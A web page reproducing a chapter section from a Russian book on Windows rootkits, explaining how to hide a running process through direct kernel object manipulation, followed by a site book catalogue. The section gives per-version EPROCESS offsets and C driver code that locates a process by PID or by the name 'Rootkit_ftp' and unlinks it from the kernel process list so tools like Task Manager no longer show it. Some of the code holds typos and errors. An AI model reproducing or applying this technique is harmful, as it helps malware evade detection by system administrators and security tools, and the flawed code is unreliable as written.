Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

20.4. Сокрытие процессов с помощью DKOM

Все операционные системы хранят всю необходимую для своей работы информацию (список процессов, сетевых соединений и т.д.) в оперативной памяти в виде объектов или структур. Когда пользовательский процесс запрашивает эту информацию, скажем, список процессов, нитей или драйверов устройств, операционная система передает ему те или иные объекты (структуры). В свою очередь, пользовательский процесс обрабатывает эту информацию в соответствии с запросом пользователя и предоставляет ему ее.

Как мы модифицировали передаваемую пользовательскому процессу информацию в предыдущих главах? Мы перехватывали одну из API-функций - Nt* (если мы работали с пользовательскими привилегиями) или Zw* (если мы работали на уровне ядра). Затем мы запускали оригинальную функцию, получали результат, например, список процессов. Результат анализировался, и их него исключались нужные нам элементы, например, нужные нам имена процессов. Разница в процессорном времени, как правило, "списывалась" на счет процесса простоя (idle).

В случае с DKOM нам не нужно перехватывать  API-функции - все, что нам нужно это изменить структуры (объекты) ядра, которые используются теми или иными функциями. В случае с сокрытием процессов - это список процессов. Тогда функции Zw* будут возвращать функциям Nt* нужный нам результат. А поскольку мы будем действовать через диспетчер объектов, то обнаружить нашу деятельность будет значительно сложнее, чем перехват системных функций.

В этом пункте мы поговорим о сокрытии процессов с помощью DKOM. Операционные системы семейства NT (NT/2000/XP/2003) для хранения списка процессов используют специальные объекты, описывающие процессы и их нити (потоки). Данные объекты используются программой taskmgr.exe и другими программами, получающими список процессов. Со стороны ядра используется функция ZwQuerySystemInformation, возвращающая список процессов и другую системную информацию.

Информация о выполняемых процессах в Windows представлена в виде двусвязного списка структур EPROCESS. В свою очередь, структура EPROCESS содержит структуру LIST_ENTRY, содержащую члены:

Двусвязный список очень удобен, поскольку он позволяет перемещаться по обеих направлениях, а не только в одном.

Чтобы скрыть процесс, вы должны понимать, как организована структура EPROCESS и сам список. Но сначала вы должны найти EPROCESS в памяти. Структура EPROCESS зависит от операционной системы - в различных версиях Windows структура EPROCESS разная (поэтому ее листинг приводить не будем). Различен и ее адрес в памяти.

Но делу можно помочь, причем очень просто. Поскольку список процессов представляет собою двусвязный список структур EPROCESS, то с помощью функции PsGetCurrentProcess мы можем получить указатель на структуру EPROCESS текущего (нашего) процесса. Один элемент списка у нас уже есть! Дальше можно с помощью LIST_ENTRY.FLINK и LIST_ENTRY.BLINK передвигаться по списку.

Функция PsGetCurrentProcess - это псевдоним для функции IoGetCurrentProcess. Если вы дизассемблируете эту функцию, то увидите три инструкции:

mov eax, fs:0x00000124

mov eax, [eax + 0x44]

ret

Что делает этот код? Windows вызывает управляющий блок ядра (KRPCB, Kernel Processor Control Block). Этот блок является уникальным и расположен в адресном пространстве ядра по адресу 0xFFDFF120. Первая инструкция функции помещает в EAX нечто, расположенное в регистре fs по смещению 0x124 (он начала регистра). Оказывается, это указатель на текущий блок ETHREAD. В этом блоке есть указатель (ApcState) на наш текущий EPROCESS. Путь от KPRCB к нашему EPROCESS изображен на рисунке 20.3.

Рис. 20.3. Путь от KPRCB к текущему EPROCESS

Есть еще один способ найти процесс - по его PID (Process Identifier). PID находится по определенному смещению в блоке EPROCESS. Зная смещение PID, мы можем вычислить адрес EPROCESS. Правда, смещение зависит от версии операционной системы. В следующей таблицы приведения смещения PID и указателя на следующий процесс FLINK относительно EPROCESS:

Таблица 20.1. Смещения PID и FLINK относительно EPROCESS

Версия Windows

PID

FLINK

Windows NT 4.0

0x94

0x98

Windows 2000

0x9C

0xA0

Windows XP (также и SP2)

0x84

0x88

Windows 2003

0x84

0x88

Напишем функцию, возвращающую адрес блока EPROCESS процесса по его PID. Функции нужно передать PID процесса, а на выходе получим адрес его блока EPROCESS:

DWORD GetEPROCESS (int PID)

{

 DWORD eprocess = 0x0;       // адрес EPROCESS

 int   curPID = 0;           // PID текущего процесса

 int   startPID = 0;         // начальный PID

 PLIST_ENTRY plist;          // указатель на структуру LIST_ENTRY

 int count = 0;              // счетчик

 

 if (PID==0) return PID;

 

 // Получаем адрес текущего EPROCESS

 eprocess = (DWORD)PsGetCurrentProcess;

// PIDOFFSET - это смещение PID, зависящее от версии Windows

 startPID = *((int*)(eprocess+PIDOFFSET));

 curPID = startPID;

 

 while (1) {

  if (PID == curPID) // мы нашли требуемый процесс

   return eprocess;  // возвращаем его адрес

 

  else if ((count >= 1) && (startPID == curPID)) { return 0x00000000; }

  else {

  // FLINKOFFSET - это смещение FLINK

  plist = (LIST_ENTRY)*(eprocess+FLINKOFFSET);

  eprocesss = (DWORD)plist->Flink;

  eprocess = eprocess - FLINKOFFSET;

  curPID = *((int*)(eprocess+PIDOFFSET));

  count++;

  }

 }

}

Оказывается, уже сейчас мы можем скрыть процесс. Смотрите, предположим, что мы знаем PID процесса. По PID мы находим его блок EPROCESS. Осталось удалить блок из списка. Но поскольку PID процесса выбирается случайным образом, а не по порядку, то нам будет проще работать с именем процесса. Следующая функция возвращает смещение имени процесса ("Rootkit_ftp") относительно блока EPROCESS:

ULONG GetProcessNameOffset()

{

 ULONG offset;

 PEPROCESS CurProc;

 

CurProc = PsGetCurrentProcess;

 

for(offset = 0; offset < PAGE_SIZE; offset++)

  if (!strncmp("Rootkit_ftp", (PCHAR)CurProc + offset, strlen("Rootkit_ftp")))

  {

   return offset;

 }

}

return (ULONG) 0;

}

Функцию GetProcessNameOffset нужно вызывать из функции DriverEntry. Она будет работать, поскольку драйвер загружен диспетчером управления службами (Service Control Manager, SCM). Как работает функция, думаю объяснять не нужно: она сканирует список процессов на наличие строки "Rootkit_ftp" (а эта строка будет в одном из EPROCESS, если запущен процесс с таким именем). Как только строка будет найдена, функция возвращает смещение. Домашним заданием для вас будет функция GetEPROCESSbyName, возвращающая адрес EPROCESS процесса по его имени.

При работе с именами процессов помните, что они не являются уникальными. Однозначно идентифицирует процесс только его PID. Внутри структуры EPROCESS имя процесса представляется 16-байтной строкой, то есть уникальными считаются первые шестнадцать символов имени. Если запущено два процесса, первые шестнадцать символов имени которых одинаковы, то у нас будут два процесса с одинаковым именем. Это нужно учитывать.

Скрыть процесс очень просто. Для этого указатель FLINK предыдущего процесса нужно установить так, чтобы он указывал на следующий за нашим процессом процесс. А указатель BLINK следующего процесса нужно установить так, чтобы он указывал на предыдущий за нашим процесс (см. рис. 20.4).

Рис. 20.4. Сокрытие процесса

Следующий код находит блок EPROCESS процесса, которого нужно скрыть (мы знаем PID процесса):

int PID = 1024;         // PID процесса, который нужно скрыть

DWORD eprocess = 0;

PLIST_ENTRY plist;

 

eprocess = FindProcessEPROC(PID);

if (eprocess = 0x00000000) return STATUS_INVALID_PARAMETER;

plist = (LISTENRTY*)(eprocess + FLINKOFFSET);

// изменяем указатели FLINK и BLINK предыдущего и следующего процессов (блоков

// EPROCESS

*((DWORD*)plist->Blink) = (DWORD) plist->Flink;

*((DWORD *)plist->Flink+1) = (DWORD) plist->Blink;

// изменяем указатели FLINK и BLINK процесса, который нужно скрыть

// указатели устанавливаем на этот же процесс

plist->Blink = (LIST_ENTRY *) &(plist->Flink);

plist->Flink = (LIST_ENTRY *) &(plist->Flink);

Обратите внимание на две последние точки: нам нужно обязательно установить указатели Flink и Blink процесса, который нужно скрыть, на самого себя. Если вы это не сделаете, то рискуете увидеть голубой экран при завершении этого процесса.

Почему это происходит? При завершении процесса система должна модифицировать список процессов (она модифицирует FLINK и BLINK предыдущего и следующего блоков EPROCESS). Но мы уже сделали это за нее:

 

*((DWORD*)plist->Blink) = (DWORD) plist->Flink;

*((DWORD *)plist->Flink+1) = (DWORD) plist->Blink;

Проблема возникает, когда нужно завершить одного из соседей нашего процесса - предыдущего или следующего. Ведь указатели FLINK и BLINK нашего процесса уже не указывают на  допустимые регионы памяти. Для решения этой проблемы используются две последние строчки кода.

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Linux. От новичка к профессионалу. 2-е изд.Linux. От новичка к профессионалу. 2-е изд.
Даны ответы на все вопросы, возникающие при работе с Linux: от установки и настройки этой ОС до настройки сервера на базе Linux. Материал книги максимально охватывает все сферы применения Linux                                                                                                            

Mac OS X Lion. Руководство пользователя (PDF)Mac OS X Lion. Руководство пользователя (PDF)
Эта книга — практическое руководство по использованию компьютеров компании Apple с операционной системой Mac OS X Lion. В ней рассказывается, как работать в этой ОС, какие возможности она предоставляет пользователю, как ее правильно настроить. Рассмо                                                   

Linux. Полное руководство, изд 1-2Linux. Полное руководство, изд 1-2
Все, что вы хотели знать о Linux: установка, настройка и программирование. Книга представляет собой великолепное руководство по Linux, позволяющее получить наиболее полное представление об этой ОС.                                                                                                        

PHP

Современный сайт на РНР и JavaScript (+CD)Современный сайт на РНР и JavaScript (+CD)
Эта книга о PHP и не только. С помощью PHP вы легко создадите сайт любого масштаба — от небольшой личной странички до сайта уровня предприятия со сложной панелью управления.                                                                                                                                

PHP 5/6 и MySQL 6. Разработка Web-приложенийPHP 5/6 и MySQL 6. Разработка Web-приложений
На практических примерах описана разработка Web-приложений на языке PHP версий 5 и 6. Лучшая моя книга по PHP, ищите в продаже 3-е издание! Издательство БХВ- Петербург                                                                                                                                      

PHP и MySQL. Разработка Web-приложений. 4-е издPHP и MySQL. Разработка Web-приложений. 4-е изд
Даны начала программирования на PHP: установка и настройка Apache, PHP, MySQL и кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP 5.4. Рассмотрено создание собственного движка сайта и ряда дополни                                                   

Интернет/CMS

Facebook. Полное руководствоFacebook. Полное руководство
Эта книга — простое и эффективное учебное пособие по изучению, освоению и успешному использованию всех доступных инструментов популярной социальной сети Facebook                                                                                                                                            

Drupal 7. Руководство пользователяDrupal 7. Руководство пользователя
Эта книга — простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Drupal версии 7.0                                                                                                                                                                       

IRC, IRC-каналы, IRC-боты: как пользоваться и как сделать самому. Избранные технологии ИнтернетаIRC, IRC-каналы, IRC-боты: как пользоваться и как сделать самому. Избранные технологии Интернета
Эта книга целиком посвящена IRC – технологии, позволяющей создавать каналы многопользовательского общения                                                                                                                                                                                                    

Компьютер/Windows

Супер Флешка. 150 лучших программ, игр и утилит, работающих прямо с флешкиСупер Флешка. 150 лучших программ, игр и утилит, работающих прямо с флешки
На сегодняшний день практически у каждого пользователя компьютера имеется флешка, которая используется для переноса файлов                                                                                                                                                                                   

Самоучитель Microsoft Windows 10Самоучитель Microsoft Windows 10
Вас интересует новейшая версия Windows - Windows 10? Тогда эта книга для вас. Она содержит необходимые и достаточные сведения для реальной работы с программой. Описаны как базовые функции, так и основные новинки Windows 10                                                                               

Компьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программКомпьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программ
В этой книге вы найдете уникальную полезную информацию о том, как установить на флешку Windows XP и Windows Vista...                                                                                                                                                                                         

Сети

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Безопасность

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Автомобили

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Контраварийное вождение. Советы - Best. Советует и рекомендует президент клуба BMWКонтраварийное вождение. Советы - Best. Советует и рекомендует президент клуба BMW
Ценность этой книги в том, что впервые советы по контраварийному вождению вам будет давать проверенный профи...                                                                                                                                                                                              

Перед покупкой авто. Все, что необходимо знать покупателюПеред покупкой авто. Все, что необходимо знать покупателю
Книга отвечает на все вопросы, которые нужно прояснить для себя перед...                                                                                                                                                                                                                                     

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Статьи

Rambler's Top100